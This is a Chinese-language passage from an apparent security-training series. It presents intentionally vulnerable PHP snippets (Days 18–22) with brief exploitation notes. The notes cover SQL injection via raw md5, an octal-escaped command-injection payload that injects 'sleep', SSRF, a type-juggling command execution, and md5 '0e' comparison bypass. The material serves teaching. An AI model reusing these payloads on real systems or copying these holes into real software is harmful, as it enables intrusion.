原先:SELECT * FROM admin WHERE username = 'admin' and password = 'md5($password,true)'
变成:SELECT * FROM admin WHERE username = 'admin' and password = ''or'6\xc9]\x99'

and优先级比or高,导致整个where子句为真,即必然会出数据。

红日安全分享了一道这个考点的题:https://xz.aliyun.com/t/3375

Day 18 - Sign

1
2
3
4
5
6
7
8
9
10
11
12
class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}

(new JWT())->verifyToken($_GET['d'], $_GET['s']);

Day 19 - Birch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class ImageViewer {
private $file;

function __construct($file) {
$this->file = "images/$file";
$this->createThumbnail();
}

function createThumbnail() {
$e = stripcslashes(
preg_replace(
'/[^0-9\\\]/',
'',
isset($_GET['size']) ? $_GET['size'] : '25'
)
);
system("/usr/bin/convert $this->file --resize $e
./thumbs/$this->file");
}

function __toString() {
return "<a href=$this->file>
<img src=./thumbs/$this->file></a>";
}
}

echo (new ImageViewer("image.png"));

只允许数字,且会将转义符去除,这里可以使用8进制绕过限制:
0\073\163\154\145\145\160\0405\073
image_1d45nt3cr1m1l1rrg109stu1c5v1g.png-112.5kB

Day 20 - Stocking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

set_error_handler(function ($no, $str, $file, $line) {
throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);

class ImageLoader
{
public function getResult($uri)
{
if (!filter_var($uri, FILTER_VALIDATE_URL)) {
return '<p>Please enter valid uri</p>';
}

try {
$image = file_get_contents($uri);
$path = "./images/" . uniqid() . '.jpg';
file_put_contents($path, $image);
if (mime_content_type($path) !== 'image/jpeg') {
unlink($path);
return '<p>Only .jpg files allowed</p>';
}
} catch (Exception $e) {
return '<p>There was an error: ' .
$e->getMessage() . '</p>';
}

return '<img src="' . $path . '" width="100"/>';
}
}

echo (new ImageLoader())->getResult($_GET['img']);

ssrf无过滤,只能盲打,或者通过报错来看:
image_1d45q71vf15t61rt61jbq1q2p1apj2d.png-70.7kB

Day 21 - Gift Wrap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
declare(strict_types=1);

class ParamExtractor {
private $validIndices = [];

private function indices($input) {
$validate = function (int $value, $key) {
if ($value > 0) {
$this->validIndices[] = $key;
}
};

try {
array_walk($input, $validate, 0);
} catch (TypeError $error) {
echo "Only numbers are allowed as input";
}

return $this->validIndices;
}

public function getCommand($parameters) {
$indices = $this->indices($parameters);
$params = [];
foreach ($indices as $index) {
$params[] = $parameters[$index];
}
return implode($params, ' ');
}
}

$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);

命令执行,绕过类型转换,本地没复现成功..

Day 22 - Chimney

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_POST['password'])) {
setcookie('hash', md5($_POST['password']));
header("Refresh: 0");
exit;
}

$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
echo '<form><input type="password" name="password" />'
. '<input type="submit" value="Login" ></form >';
exit;
} elseif (md5($_COOKIE['hash']) == $password) {
echo 'Login succeeded';
} else {
echo 'Login failed';
}

很明显,简单的md5若类型比较漏洞:

image_1d471t5dq1fer1vo49j1ien13ng37.png-240.9kB